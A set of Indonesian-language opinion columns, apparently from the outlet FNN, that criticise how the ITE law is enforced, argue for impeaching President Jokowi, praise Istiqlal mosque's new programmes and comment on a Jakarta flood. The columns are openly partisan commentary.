HUKUM, sayangnya bukan sabda alam. Hukum itu sabda politik, suara orang-orang politik. Sebagai sabdanya orang politik, hukum dimana-mana di dunia ini menandai eksistensi teksnya itu dengan kontroversi. Itu soalnya. Teks hukum tak selalu dapat memenjelaskan maksud sebenarnya dari pembuatnya. Pasal 27 dan 28 UU Nomor 11 Tahun 2008 Yang telah diubah dengan UU Nomor 19 Tahun 2016 Tentang Perubahan UU Nomor 11 Tahun 2008 Tentang Informasi dan Transaksi Elektronik, salah contoh terbaiknya. Tetapi itukah masalah utama, yang membuat Presiden memikirkan kemungkinan UU ITE diubah? Entahlah. Presiden memang bicara keadilan dalam pidatonya itu, tetapi apakah tepat elastisitas teks sebagai hulu masalah UU ITE? Tidak juga. Terlalu terburu-buru kalau gagasan Presiden itu, dinilai sebagai cara pemerintah berkelit dari laporan KNPI atas dugaan Abu Janda menghina Natalius Pigai. Tetapi beralasan untuk disayangkan, bila Presiden tidak memiliki keberanian menyatakan politik yang joroklah, yang murni menjadi sebab-musabab dari bobroknya penegakan hukum UU ITE. Hukum tajam setajam-tajamnya kepada kaum oposan. Sebaliknya, cukup tumpul untuk mereka, yang senada dengan kekuasaan pemerintah. Cara jorok penegakkan hukum model ini telah teridentifikasi secara acak di tengah masyarakat. Apakah itu soal hukum? Tidak juga. Sama sekali tidak. Ini soal politik. Jorok, Analisa Dianggap Bohong Bagaimana bisa, gambar yang dipakai sebagai rujukan komentar, dijadikan parameter ada kebohongan? Bagaimana bisa pernyataan Menteri Koordinator Bidang Politik, tentang hampir 92 persen calon kepala daerah yang tersebar di seluruh Indonesia dibiayai oleh cukong (Lihat CNNIndonesia, 11/09/2020), yang dijadikan rujukan oleh Syahganda, tetapi dinyatakan melawan hukum? Bagaimana yang seperti itu? Jauh sebelumnya, Profesor Mahfud MD telah bicara tentang oligarki. Mantan Ketua Mahkamah Konstitusi itu mengatakan Indonesia bukan negara demokrasi. "Demokrasi kita tersandera, bergeser jadi oligarkis," katanya kepada wartawan di gedung Rektorat Universitas Airlangga, Jumat, 14 Maret 2014 (Lihat Tempo.co.id 14/3/2014). Analisis-analisis tentang oligarki, memiliki kemiripan dengan analisis “cukongi calon kepala daerah”. Dimana nalarnya sehingga analisis Syahganda itu serta-merta barubah jadi analisis terlarang? Bahkan menjadi sebab, salah satunya, Syahganda dituduh melakukan tindak pidana? Waraskah ini Pak Bosh? Hanya pendekatan politik yang mampu mengatakan itu waras. Ilmu hukum dari dunia mana, yang dapat dipakai untuk “mengkriminalisasi” seruan atau dukungan terhadap demonstrasi? Demonstrasi, unjuk rasa menurut terminologi hukum adalah tindakan hukum yang sah. Hal hukum yang sah itu tiba-tiba berubah menjjadi pidana? Ini namanya “ilmu hukum tiba saat tiba akal, dan ilmu hukum akal bunuh akal”. Apa nalarnya, sehingga analisis terhadap draft RUU Cipta Lapangan Kerja, pernah disingkat (RUU Cilaka) sebelum berubah menjadi RUU Cipta Kerja, dikualifikasi sebagai “menyebar berita bohong? Lalu Apa nalarnya gambar yang dijadikan backround, atau apapun namanya pada twitnya yang merujuk pernyataan Jendral (Purn.) Gatot Nurmantyo dikualifikasi sebagai berita bohong? Apakah pernyataan-pernyataan itu berkualifikasi jahat, pada semua aspeknya terhadap keselamatan negara, sehingga Syahganda ditangkap menjelang pagi buta? Persisnya jam 00.40 dinihari? Siapa yang melaporkan twit-twit Syahganda ke Polisi? Jam berapa pelapor selesai diperiksa, sehingga jam 00.40 Syahganda ditangkap? Logiskah kalau petugas yang menangkap Syahganda itu dijadikan saksi? Perangkat elektronik Sahganda yang diduga digunakan menyebar dukungannya terhadap demonstrasi buruh, disita. Apa sekarang Dr. Syahganda didakwa dengan pasal UU ITE? Syahganda didakwa dengan pasal-pasal 14 dan 15 UU Nomor 1 Tahun 1946. Ancaman hukum pada pasal 14 ayat (1) UU Nomor Tahun 1945 itu 10 (sepuluh) Tahun. Ngeri sekali. Perlakuan Yang Berbeda Semoga pelapor Dr. Syahganda ke penyidik adalah masyarakat umum? Siapa mereka? Apakah pelapor pada kasus Syahganda juga dijadikan sebagai saksi pada kasus Jumhur? Apakah pelapor pada kasus Jumhur juga dijadikan saksi pada kasus Syahganda? Telah terjadi kerusuhan demo buruh? Kapan rusuhnya? Pembakaran halte busway di Jalan Thamrin? Siapa yang membakar itu? Apakah mereka yang ditangkap itu yang nyata membakar? Hantukah orang-orang yang tertangkap di kamera CCTV, yang terlihat menyulut api di halte itu, yang didiskusikan pada acara Mata Najwa? Dimana mereka sekarang? Ahok memang sudah lama bebas, dan sekarang menjadi Komisaris Utama PT Pertamina. Mulai dari penyidikan sampai dengan hari terakhir persidangan (vonis), Ahok tidak ditahan. Setelah vonis hakim, barulah Ahok ditahan di Rumah Tahanan (Rutan) Mako Brimob Kepapa Dua Depok. Sekarang giliran Habib Rizieq Shihab (RHS) yang menjalani proses penegakan hukum. Perlakuan politik negara terhadap Ahok dalam kasusnya, terlihat beda antara bumi dan langit, dengan perlakuan negara terhadap Habib Rizieq. Itulah karena soal politik Pak Bosh. Bukan persoalan hukum. Cerita bajak-membajak akun seseorang, sudah begitu sering terdengar. Bajak lalu beri gambar porno. Setelah itu sebar. Si empunya akun tak tahu, tetapi karena berasal dari akunnya, maka dia dilebeli menyebarkan gambar porno. Kalau akun itu milik oposan, bisa barabe kan? Entah apa kasus video porno yang dialamatkan ke habib HRS, yang dulu telah dihentikan penyidikannya, tetapi dinyatakan tidak sah oleh pengadilan, masuk kategori ini atau tidak? Lagi-lagi ini soal politik yang jorok tersebut. Ini bukan soal hukum. Tuntutan Bebas ke Syahganda Apakah 27 ayat (1) bersifat delik aduan mutlak? Mutlak atau tidak, hanya orang yang dihinalah yang berhak melapor. Dialah yang dirugikan, sehinga hanya dia yang bisa mengadu. Fitnah itu, untuk alasan apapun, tidak bisa dilebur atau diaborsi meliputi orang lain. Apa begitu kenyataannya? Menarik sekali penuturan Kang TB Hasanudin. Kapokja perubahan UU Nomor 11 Tahun 2008 Tentang Informasi dan Transaksi Elektronik, memiliki penilaian jelas masalah UU ITE ini. Dalam garis besarnya pernyataan Kang TB Hasanudin tentang pasal 27 ayat (1) yang tegas menunjukan intensi mereka adalah pasal 27 harus dipertalikan dengan pasal 310 dan 311 KUHP. Bagi TB Hasanudin, masalah pada penegakan hukum, bukan pada pasal 27 dan 28 itu. (Lihat RMol, 15/2/2021). Joroknya kehidupan politiklah, hulu kerusakan dunia penegakan hukum. Ini yang harus dibereskan lebih dulu. Bukan mengubah UU ITE. Apalagi dibereskan dengan membuat edaran (pedoman) kepada penyidik agar tidak serta-merta menerima laporan yang disampaikan oleh orang lain atau selektif menerima laporan. Sama sekali tidak begitu. Sekali lagi soal politiklah, yang harus dibuat beres dulu. Itu yang harus dimengerti dan dipahami oleh Presiden. Bereskan cara pandang tentang cara kita berbangsa. Cara berpikir tentang kita berbangsa itu bukan soal hukum. Tetapi itu soal politik Pak Bosh. Lingkungan penegakan hukum dapat disamakan dengan apa yang L. Friedman, ilmuan sosiologi yang menjadikan hukum sebagai obyek kajian sebut dengan legal culture. Legal culture inilah yang harus dibuat bersinggungan dengan non hukum. Fungsinya sebagai determinan pembentukan kelakuan, cita rasa, kepekaan terhadap keadilan, kemanusiaan penegak hukum. Politik tak selalu dapat diraba arahnya. Presiden memang terlihat bersungguh-sunggu membenahi UU ITE. Tetapi sekali lagi, bukan itu hulu persoalan penegakan UU ITE itu. Persoalannya terletak pada postur politik yang membentuk lingkungan politik penegakan hukum. Tetapi sudahlah, andai Presiden bersungguh-sungguh dengan pernyataannya, maka sebelum benar-benar mengubah UU ITE itu, perintah dulu Jaksa Agung menuntut bebas Dr. Sahganda, Jumhur, Dr. Anton, ustazah Kingkin dkk. Presiden bilang kepada Jaksa Agung segera hidupkan mesin keadilan untuk terdakwa-terdakwa kasus kritik, yang Polisi kualifikasi sebagai menghina dan menyebar kabara bohong. Tuntutlah Dr. Syahganda, Jumhur, Anton, Ibu Kinkin dkk dengan “tuntutan bebas”. Bila itu terjadi saat ini, maka logis menganggap Presiden, selain memiliki kesungguhan menata politik bangsa ini, juga menunjukan Presiden mengerti masalah dasar bangsa ini. Presiden harus diberi tahu “hanya orang hina yang bisa menghina orang lain”. Hanya pembohong yang mau menjadi berbohong. Pak Presiden analisis itu tidak pernah bisa dibilang bohong. Dunia ilmu pengetahuan tidak akan tumbuh, bersinar menyinari bangsa ini kalau orang-orang intelektual tidak lagi bisa menganalisis masalah. Galileo Galilei, yang dipenjara itu, karena dituduh berbohong, ternyata jauh dunai membenarkan analisis yang dinyatakan secara terbuka. Jauh setelah dirinya tiada. Menyebarkan kabar bohong dan memfitnah itu buruk. Bangsa yang berbudi tak memberi tempat untuk tindakan itu. Kecuali politik rendahan. Tak ada ilmu yang bisa dijadikan argumentasi kalau tindakan Dr. Syahganda, Jumhur, Dr. Anton dan Ibu Kinkin sebagai menyebar kabar bohong untuk bikin onar. Jaksa Agung “harus tuntut bebas mereka”. Jaksa Agung harus jadi alat keadilan, bukan alat politik kotor. Ya bola sekarang berada ditangan Jaksa Agung. Menuntu bebas Dr. Syahganda, Jumhur, Dr. Anton dan Ibu Kinkin itu, imperative adanya. Segera Terbitkan Perppu ITE Bangsa ini telah begitu letih dengan tingkah polah politik kotor. Tragisnya, nalar kotor politik ini terlanjur terserap dan mengeras membentuk sumsum-sumsum hukum. Nadi-nadi hukum melemah sudah. Mata-mata alam tak lagi mampu sembab, karena keseringan basah oleh tabiat hukum yang buruk. Berhenti membanggakan politik hukum penjara terhadap anak-anak politik seperti Dr. Syahganda, Jumhur, Dr. Anton dan Ibu Kinkin. Juga ustad-ustad yang lidah dan suaranya selalu basah dengan impian mengagungkan kemanusiaan yang adil dan beradab. Pak Presiden, “hanya orang hina yang memiliki kemampuan menggunakan penjara untuk lawan-lawan politik”. Presiden juga harus kita ingatkan bahwa basa-basi politik itu, tidak pernah manis dan indah di mata manusia maupun alam. Suatu hari nanti alam akan mengolok-oloknya. Itu karena alam hanya mengenal kejujuran, yang sari dan tampilannya selalu menjadi nutrisinya. Alam mengenal kejujuran sebagai nutrisi batin manusia. Pak Presiden, kalau anda bersungguh-sungguh degan pernyataan mengubah UU ITE, segera buktikan saja dengan menerbitkan Perpu. Justfikasi Perpu itu sepenuhnya politik. Politik selalu mudah semudah orang hina menghina orang lain. Toh paling-paling tambahkan satu ayat pada pasal 27 itu. Tambahkan saja 1 (satu) ayat pada pasal 27 ayat (3). Ayat 3 nanti berisi ketentuan sebagai berikutya “Tindak sebagaimana dimaksud pada ayat (1) adalah tindak pidana aduan. Hanya itu. Mudah kan? Perintahkan saja Profesor Mahfud MD, dan Profesor Edy Oemar Hiraje buat. Paling dua menit beres. Begitu sederhana seperti Pak Presiden memacu sepeda di lingkungan Istana Bogor. Oh ya Pak Presiden, jangan lupa segera bebaskan Dr. Syaganda, Jumhur, Dr. Anton, Ibu Kingkin dan semua ustad yang ditahan atas tuduhan melanggara protokol covid. Maaf Pak Presiden, boleh jadi rumput akan segera tertawa dan mengering ditengah guyuran air hujan, kalau Pak Presiden sampai bilang “itu sama dengan intervensi pengadilan”.

Begitu Abu Janda Terjepit, UU ITE Pun Dilunakkan

by Asyari Usman Medan, FNN - Menarik sekali melanjutkan analisis teman saya, Arief Budiman, di Coffee Break FNN, kemarin. Bahwa UU ITE boleh jadi dievaluasi karena kasus “Islam Arogan” Permadi Arya alias Abu Janda bisa menjebloskan dia ke penjara. Artinya, seluruh penyelenggara negara ini mencarikan jalan untuk menyelamatkan Abu Janda. Kalau dipikir-pikir, ada benarnya. Sebab, penistaan terhadap Islam oleh Abu Janda dengan mengatakan agama Islam itu arogan, tidak bisa diolah lagi agar tidak menjadi pidana penistaan. Abu Janda asli terperosok. Ibarat tupai yang sangat pandai melompat, sekali ini si Abu terjatuh. Dalam kasus “Islam Arogan”, si Abu tak bisa mengelak. Dari arah mana pun penistaan itu dilihat, Abu Janda kena laras hukum penistaan agama. Semua pihak mencela cuitan si Abu. Para kiyai NU saja, yang dianggap si Abu tidak masalah, justru mengutuk pegiat media sosial yang merangkap buzzer itu. MUI juga mengecam. Begitu pula sejumlah ormas keagamaan dan ormas-ormas nasionalis. Dalam cuitan Twitter 25 Januari 2021, Abu Janda lewat akun @permadiaktivis1, mengatakan: “Yang arogan di Indonesia itu adalah Islam, sebagai agama pendatang dari Arab, kepada budaya asli kearifan lokal. Haram-haramkan ritual sedekah laut, sampe kebaya diharamkan dengan alasan aurat.” Begitu lebih-kurang cuitan si Abu. Dia mengatakan, Islam Arogan itu tidak dimaksudkannya sebagai Islam secara keseluruhan. Hanya ditujukan kepada Tengku Zulkarnaen dan Salafi-Wahabi. Tetapi, kalau dibaca isi cuitan tidak ada lain dia memang mengatakan Islam agama arogan. Apalagi kalau cuitan ini diletakkan dalam konteks sikap, tulisan, komentar, dan lakon-lakon ejekan si Abu terhadap hal-hal yang terkait dengan Islam. Bisakah dipercaya bahwa Abu Janda mengarahkan “Islam Arogan” itu hanya kepada aliran Salafi-Wahabi dan Tengku Zulkarnaen? Tampaknya, sulit dipercaya. Sebab, tak berapa lama sebelum cuitan “Islam arogan”, Permadi Arya mencuitkan kalimat rasis kepada Natalius Pigai –mantan komisioner Komnas HAM. Begini bunyi cuitan Twitter itu: “Kau @NataliusPigai2, apa kapasitas kau? sudah selesai evolusi belom kau?” Nah, kepada Pak Pigai saja si Abu sangat, sangat kasar. Rasis pula. Padahal, Pigai berasal dari latarbelakang yang biasanya dibela si Abu. Apalagi terhadap Islam yang memang tidak disukai oleh Abu Janda. Saya yakin dia mengatakan Islam agama arogan itu bukan ditujukan ke Salafi-Wahabi, tetapi kepada Islam seluruhnya. Cuitan ini juga membukakan pintu penjara bagi Abu Janda. Tetapi, karena dia buzzer yang dilindungi, semua penguasa seiya-sekata mengusahakan jalan keluar untuk si Abu. Jadi, perubahan dalam menerapkan UU ITE yang diberlakukan oleh Kapolri baru Jenderal Listyo Sigit Prabowo “kebetulan” sekali menguntungkan Abu Janda. Dia tak akan ditahan karena sudah meminta maaf kepada warga NU dan Muhammadiyah. Setelah meminta maaf, sesuai panduan Kapolri tentang penggunaan UU ITE, terlapor yang dijadikan tersangka tidak lagi ditahan. Selamatlah Abu Janda. Dia tetap selalu kebal hukum.[] Penulis adalah Wartawan Senior FNN.co.id.

Rezim Oleng, Haruskah Harmoko Dijadikan Ketua DPR/MPR

PRESIDEN Soeharto akan tetap berkuasa, jika tidak ada permintaan mundur dari Ketua DPR/MPR Harmoko tahun 1998. Sikap Harmoko sungguh sangat bijaksana merespons realita di masyarakat. Berbeda dengan sikap Ketua DPR dan MPR saat ini, nyaris tak terdengar di tengah situasi politik, ekonomi, dan hukum yang gaduh dan bising. Ribuan nyawa melayang, demo berjilid-jilid, dan utang setinggi langit tak akan membuat presiden mundur, jika pimpinan DPR diam. Harmoko adalah contoh pimpinan yang tegas, lugas, dan ksatria. Dulu, masyarakat boleh saja memelesetkan Harmoko menjadi Hari Hari Omong Kosong, tapi nyatanya ia telah bertindak secara jantan dan tepat dalam menghadapi situasi politik tahun 1998. Omongannya tak lagi kosong, tapi ampuh menghentikan kekuasaan absolut Orde Baru yang telah dibangun selama 32 tahun. Harmoko saat itu dengan gagah berani mendesak Presiden Soeharto agar mundur dari jabatannya. Padahal beberapa bulan sebelumnya, Harmoko mengatakan kepada Soeharto bahwa, berdasarkan hasil Safari Ramadan ke sejumlah daerah, rakyat menganggap tidak ada tokoh lain yang dapat memimpin negara kecuali Soeharto. Namun hanya selang beberapa bulan, Harmoko berubah pikiran. Ia meminta Soeharto turun dari jabatan presiden. Pidato Harmoko di gedung DPR MPR itu mengakhiri ketegangan politik yang terjadi beberapa hari. Pilihan sikap Harmoko didasari oleh adanya demonstrasi mahasiswa yang bergerak masuk ke Gedung DPR. Situasi semakin panas setelah terjadi penembakan di Universitas Trisakti yang menewaskan empat mahasiswa kampus itu. Selain itu, situasi politik pun semakin pelik disertai kekerasan berbasis prasangka rasial yang menimbulkan beberapa korban tewas. Tak hanya itu, nilai rupiah turun 9 persen. Bank Indonesia tidak mampu membendungnya hingga merosot mencapai level Rp 17.000/US$ atau kehilangan 85 persen. Kondisi itu membuat hampir semua perusahaan modern di Indonesia bangkrut dan semakin meneguhkan anggapan para pengamat dalam dan luar negeri bahwa rezim kala itu sudah terbelit nepotisme, korupsi, dan inkompetensi. Atas perintah Harmoko, Presiden Soeharto akhirnya mengundurkan diri pada 21 Mei 1998, tiga bulan setelah MPR melantiknya untuk masa bakti yang ketujuh kalinya. Meski diawali dengan berbagai demonstrasi dan kerusuhan, pergantian kepemimpinan itu kategori lembut dan damai. BJ Habibie, yang sebelumnya sebagai wakil presiden ditunjuk menjadi presiden. Di masa pemerintahannya yang terbilang singkat 1 tahun 5 bulan, Habibie berhasil menerapkan berbagai terobosan untuk kepentingan negara. Kendati demikian, ia juga pernah mengalami momen pahit saat sidang MPR tahun 1999, yang kala itu dipimpin oleh Amien Rais. Saat itu Amien Rais menolak laporan pertanggungjawaban BJ Habibie, pada 20 Oktober 1999 lantaran dianggap tak mampu menjalankan tugas sebagai presiden. Penolakan itu juga disebabkan oleh kebijakannya menyelenggarakan referendum di Timor Timur pada 30 Agustus 1999 yang berujung pada lepasnya provinsi ke-32 ini, menjadi negara Timor Leste. Lepasnya Timor Timur juga menyisakan kepedihan yang mendalam bagi para pejuang di perbatasan sejak tahun 1975 khususnya veteran Seroja. Habibie digantikan oleh Abdurrahman Wahid alias Gus Dur. Ia dilantik menjadi presiden RI keempat pada 20 Oktober 1999 lewat voting dalam sidang umum MPR, mengalahkan Megawati Soekarnoputri. Ia dilantik di tengah sejumlah permasalahan rumit. Dari mulai krisis ekonomi hingga disintengrasi bangsa. Kondisi negara diperparah dengan masalah pemberontakan di Aceh dan Papua, serta kerusuhan Ambon dan Poso. Gus Dur pun akhirnya harus berhenti di tengah jalan, karena dianggap tak mampu mengatasi persoalan bangsa. Jatuhnya Gus Dur hanya dibidik dengan persoalan sepele, yakni dituduh menyalahgunakan dana Yanatera Bulog Rp 35 M dan bantuan Sultan Brunei. DPR kemudian menjatuhkan memorandum dua kali untuk presiden. Buntutnya pada 23 Juli 2001 MPR menggelar Sidang Istimewa memakzulkan Gus Dur dan menggantinya dengan Megawati. Puluhan ribu Banser yang sudah siap di lapangan Monas untuk menopang Gus Dur dari kursi presiden akhirnya harus legowo menerima keputusan Sidang Istimewa MPR. Pun demikian pergantian kepemimpinan berjalan dengan lancar dan mulus. Bagaimana dengan era saat ini? Jika menggunakan parameter presiden-presiden sebelumnya, jelas kondisi saat ini jauh lebih parah. Jokowi dalam tangkapan aspirasi publik sudah sangat rendah tingkat kepercayaannya. Ini bisa dibuktikan dengan banyaknya komentar, meme, dan karikatur yang cenderung mengolok-olok. Nyaris, apa yang diperbuat rezim ini di mata masyarakat, serba salah. Contoh paling anyar. Kesediaan Jokowi menjadi orang pertama yang divaksin Covid19, tidak berpengaruh pada sikap publik. Saat ini publik masih banyak yang menolak divaksin. Hanya 2 persen yang terpengaruh. Menjadi pertanyaan serius, ke mana 57 persen pemilih Jokowi- Maruf dalam Pilpres 2019? Ada 55 persen pemilih Jokowi menolak vaksin. Jangan-jangan yang 2 persen pun pemilih Prabowo. Kenyataan ini sangat berbahaya. Dalam situasi pandemi dan keselamatan rakyat terancam, mereka tetap tidak percaya kepada Jokowi. Ambruknya pertumbuhan ekonomi, korupsi dan nepotisme yang merajalela, janji-janji yang tak terealisasi, utang yang sangat besar, penyusupan ideologi komunisme, TKA China dan kerja sama dengan RRC, serta kapasitas kepemimpinan yang sulit didongkrak, akan menjadi keadaan yang menyebabkan sulitnya untuk menyelamatkan dan memulihkan kepercayaan dari rakyat. Di sektor Hak Asasi Manusia lebih parah. Pembunuhan 6 laskar FPI oleh aparat kepolisian, tak jelas nasibnya. Komnasham yang mustinya kritis terhadap temuan polisi justru berada satu barusan dengan polisis. Mereka menyetel frekuensi yang sama. Di sektor keagamaan lebih menyakitkan lagi. Rezim makin memperlihatkan kebencian terhadap Islam semakin jelas. Lewat mulut buzzer atau lewat kebijakan pemerintah, semua tampak nyata. Di bidang hukum, rezim makin radikal pengkhianatannya terhadap rasa keadilan masyarakat. Korupsi ugal-ugalan dana bansos tak menunjukkan pengusutan yang lebih serius. Malah ada upaya memutus mata rantai korupsi. Rezim ini sudah layak dihentikan. Syarat untuk menurunkan Jokowi kata Rocky Gerung sudah terpenuhi, hanya butuh niat baik pimpinan DPR/MPR melakukan sidang Istimewa. Mundur atau dimundurkan jangan dijadikan masalah. Bangsa ini harus terbiasa dengan pemakzulan. Pergantian kepemimpinan seharusnya menjadi kebiasaan yang baik. Tak ada yang perlu ditakutkan. Jangan takut bayang-bayang. Hanya butuh kerelaan untuk melepas jabatan sesaat, butuh keteladan dan keikhlasan. Pergantian presiden cepat atau lambat harus menjadi budaya baru. Jangan menyakralkan jabatan presiden, apalagi mengkultuskan sosok presiden. Presiden, sebagaimana Ketua RT seharusnya bisa diganti kapan saja. Yang penting program tetap jalan, rakyat tetap solid, dan kesejahteraan terjamin. Jangan menyandera rakyat hanya demi libido kekuasaan segelintir orang, sehingga pergantuan presiden di tengah jalan dianggap tabu dan malu. Indonesia harus berubah. Bahkan menjadi pioner pergantian presiden yang bisa kapan saja dilakukan. Di tengah jalan atau di ujung jalan. Sistem harus dibuat sedemikian rupa sehingga tidak ada dampak yang serius dari perubahan rezim yang cepat. Jika sistem ini sudah kuat, maka bayangan menakutkan dilengserkan masyarakat di tengah jalan menjadi hal yang lumrah dan asyik. Pada situasi saat ini, pimpinan DPR/MPR harus bertindak. Jangan sampai dituduh terlibat dalam menjerumuskan utang yang menggunung, korupsi yang merajalela, pencabutan subsidi yang membabi-buta, serta permusuhan terhadap umat Islam. DPR jangan menjadi Dewan Perwakilan Rezim demikian juga MPR jangan menjadi Majelis Permusyawaratan Rezim. Masyarakat butuh peran nyata dari Dewan Perwakilan Rakyat. Kalian dipilih oleh rakyat dan harus bertanggung jawab terhadap rakyat bukan mengekor pada rezim. Di tengah eforia menerima gelar doktor honoris causa, pimpinan DPR harus peka menangkap suasana batin masyarakat yang menghendaki pergantian pimpinan negara. Hampir semua parameter keberhasilan pemimpin negeri ini berada di bawah standar. Sementara parameter pemakzulan juga sudah terpenuhi. Mengharap mereka tahu diri, jelas tidak mungkin. Maka, tirulah ketegasan dan keberanian Harmoko. Haruskah rakyat mengangkat Harmoko menjadi Ketua DPR dan MPR? (sws)

The New Istiqlal

by Imam Shamsi Ali Makasar FNN - Hari Ahad kemarin, 22 Februari 2021 masjid Istiqlal melangsungkan hari jadi atau Miladnya yang ke 43. Acara itu dihadiri oleh Wakil Presiden (Wapres) KH. Ma’ruf Amin dan beberapa Menteri Kabinet Indonesia Maju. Ada juga pejabat tinggi negara lainnya, serta perwakilan-perwakilan negara sahabat termasuk Akting Dubes Amerika Serikat. Saya sendiri secara pribadi diundang melalui telpon langsung oleh Imam Besar Masjid Istiqlal, Prof. Dr. Nasaruddin Umar, MA. Sayang sekali saya tidak bisa hadir karena terlebih dahulu terikat oleh beberapa jadwal di Makassar, Sulawesi Selatan. Namun Jumat lalu saya menyempatkan hadir Jumatan di Istiqlal sekaligus menjadi narasumber pada pelatihan peningkatan SDM Rohis/Bintal TNI. Masjid Istiqlal memang sangat membanggakan bangsa Indonesia. Selain karena bersejarah, juga merupakan masjid terbesar di Asia Tenggara. Masjid ini tentu juga dikenal sebagai masjid negara. Dan karenanya untuk pertama kalinya, pengangkatan Imam Besar dan seluruh jajaran struktur kepengurusannya melalui Surat Keputusan Presiden RI. Kali ini Istiqlal memang sedang berbenah. Saya yakin bahwa semua ini tidak lepas dari kelihaian Imam Besar, Guru dan Kakak saya, Professor Nas. Kelihaian itu tidak saja secara substansi keilmuan karena beliau memang seorang guru besar dalam ilmu agama. Professor Nas juga dalam hal profesionalitas menejemen yang beliau miliki. Ditambah lagi keluasan dan keluwesan beliau dalam membangun komunikasi dan relasi dengan semua pihak, baik dengan pemerintah maupun masyarakat luas, bahkan dengan non Muslim sekalipun. Kini Istiqlal semakin berbenah. Tentu saya tidak ingin memakai kata sempurna. Karena kesempurnaan itu hanya milik Allah, sang Khaliq. Tetapi masjid Istiqlal semakin membaik, maju dan berkembang baik secara fisik maupun secara substansi (program dan kegiatan). Secara fisik, dalam sejarahnya baru kali ini masjid Istiqlal mendapat perhatian penuh dari pemerintah dan semua masyarakat luas untuk direnovasi secara besar-besaran. Dan itu dapat disaksikan secara dekat di saat mengunjungi masjid Istiqlal. Salah satu hal yang unik di masjid Istiqlal saat ini adalah penyinarannya dengan memakai sistem solar (matahari). Selain itu masjid Istiqlal memperbaiki segala fasilitasnya secara profesional, termasuk ruang-ruang sekolah/perkuliahan yang semakin indah. Bahkan mungkin yang juga unik, khususnya di Indonesia, adalah dihadirkannya tempat olah raga atau Gym yang modern. Nggak itu karena masjid Istiqlal memiliki wawasan membangun manusia seutuhnya. Sehat secara spiritual, intelektual, dan juga secara fisikal. Tetapi dari semua itu yang paling menggembirakan adalah bahwa visi masjid Istiqlal tidak lagi bahwa masyarakat itu harus memberdayakan masjid. Saat ini justeru minimal harus ada perhatian timbal balik. Sehingga yang berkembang dan kuat bukan masjidnya saja. Namun juga masyarakat atau jamaah masjid tersebut. Perberdayaan masjid sebagai pusat pemberdayaan masyarakat ini terlihat dalam inisiasi berbagai program yang, menurut saya pribadi, sangat maju dan inovatif. Saat ini ada 41 bentuk program yang dicanangkan oleh masjid Istiqlal. Dan bersamaan dengan hari Miladnya yang ke 43 program-program tersebut diluncurkan secara resmi oleh Wakil Presiden RI. Saya tidak akan menyebutkan kesemua 41 program itu. Semuanya dapat diakses melalui website masjid Istiqlal saat ini. Saya hanya akan menyebut tiga hal yang menurut saya sangat relevan dan diperlukan. Pertama, terbentuknya Majelis Mudzakarah masjid Istiqlal yang beranggotakan 20 orang dan diketuai oleh Ahli Tafsir dan Ulama Indonesia, Prof. Dr. Quraish Shihab. Saya sendiri dimasukkan sebagai salah seorang anggota di Majelis tersebut. Dengan terbentuknya Majelis Mudzakarah ini, masjid Istiqlal kemudian meluncurkan program pengkaderan ulama yang secara akademik setingkat S2 dan S3. Program ini dikerjasamakan dengan Institute Perguruan Tinggi Ilmu Al-Quran Jakarta. Kedua, sebagai bagian dari pengkaderan Ulama tadi, masjid Istiqlal secara khusus melakukan pengkaderan Ulama wanita. Bagi saya pribadi hal ini sangat penting dan inovatif, bahkan sesungguhnya sangat diperlukan untuk tujuan-tujuan multidimensi yang sangat penting. Pengkaderan Ulama perempuan akan menjawab berbagai tuduhan bahwa Islam itu diskriminatif kepada wanita, khususnya dalam Kajian keagamaan. Dan tentuny lebih khusus lagi bahwa wanita akan memiliki akses besar dalam penafsiran-penafsiran yang selama ini diakui atau tidak memang “masculine dominant” (didominasi oleh Ulama pria). Setahu saya belum ada negara Islam yang melakukan hal ini selain Indonesia. Maroko Beberapa waktu lalu mengadakan hal yang sama. Di mana kedudukan mufti juga diperbolehkan untuk diduduki oleh kaum hawa. Hanya saja Indonesia melangkah lebih jauh karena memang program ini adalah mengkader Ulama yang akan berkontribusi secara penuh dalam keilmuan dan pemikiran Islam. Ketiga, masjid Istiqlal ingin menjadi pelapor jaringan masjid-masjid besar dunia. Bagi saya pribadi hal ini sangat penting dan relevan karena memang masanya Indonesia berada di garis depan untuk meraih kepemimpinan di dunia global, khususnya di dunia Islam. Jika hal ini terwujud maka tentu salah satu kegalauan saya sebagai Putra bangsa yang telah lama di luar negeri akan terjawab. Saya adalah putra bangsa yang beragama Islam yang telah lama mengimpikan peranan global Umat Islam Indonesia. Semoga masjid Istiqlal ke depan dapat bekerjasama dengan Nusantara Foundation dan Pesantren Nur Inka Nusantara Madani untuk memainkan peranan global itu. Insya Allah. “Selamat kepada Masjid Istiqlal di hari jadi yang ke 43. Dan selamat sebagai The New Istiqlal”. Penulis adalah Presiden Nusantara Foundation/Pesantren Nusantara Madani USA.

Sory Bro Anies, Rupanya Ada Banjir Jakarta Ya?

by Asyari Usman Medan, FNN - Sekali ini, nyaris tidak tahu ada banjir di Jakarta. Minta maaf kepada Pak Anies Baswedan. Terlewatkan berita banjir beberapa hari yang lalu itu. Tak sempat berkomentar. Begini. Sebetulnya, bukan terlewatkan. Tapi, banjir yang datang hari Sabtu (20/2/2021) itu cukup cepat berlalu. Lihat berita malam tadi, sudah kering Senin dinihari (pukul 03.00). Saya menangguhkan komentar tentang banjir ini karena biasanya genangan air berlangsung berhari-hari. Saya pikir, nanti sajalah. Apalagi sedang dalam perjalanan (musafir) empat hari. Ada dengar juga kawasan Kemang tenggelam hingga satu meter. Rupanya, tak sampai 48 jam sudah 100% surut di semua titik di Jakarta. Begini, Bro Anies. Supaya komentar ini netral, saya setuju Ente katakan bahwa banjir kali ini lebih cepat surat karena “izin Allah”. Ente bilang “bi-iznillah” (dengan izin Allah). Pada hakikatnya, yang Ente katakan itu “absolutely correct” (benar sekali). Mengapa saya pinjam kata “bi-iznillah”? Saya khawatir kalau saya katakan banjir Jakarta kali ini cepat surut karena kesiapan dan kesigapan Gubernur beserta seluruh jajarannya, pastilah mereka katakan saya ini cari muka. Padahal, muka saya saja belum pernah Ente lihat. Iya, ‘kan? Nah, biarlah saya sebut “dengan izin Allah”. Tidak usah disebut-sebut pekerjaan Anies yang semakin baik. Tak usahlah saya katakan ente semakin paham cara meminimalkan dampak banjir. Saya pikir, ini akan lebih baik untuk Ente, Pak Gub. Yang penting ‘kan rakyat Jakarta tidak terlalu berat deritanya. Itu yang pertama. Yang kedua, para pemburu kelemahan Ente akan semakin berat cari makan. Dan yang ketiga, ini yang teramat penting, Ente tidak perlu berkoar-koar di depan publik bahwa “banjir Jakarta akan mudah diatasi kalau saya menjadi presiden”. 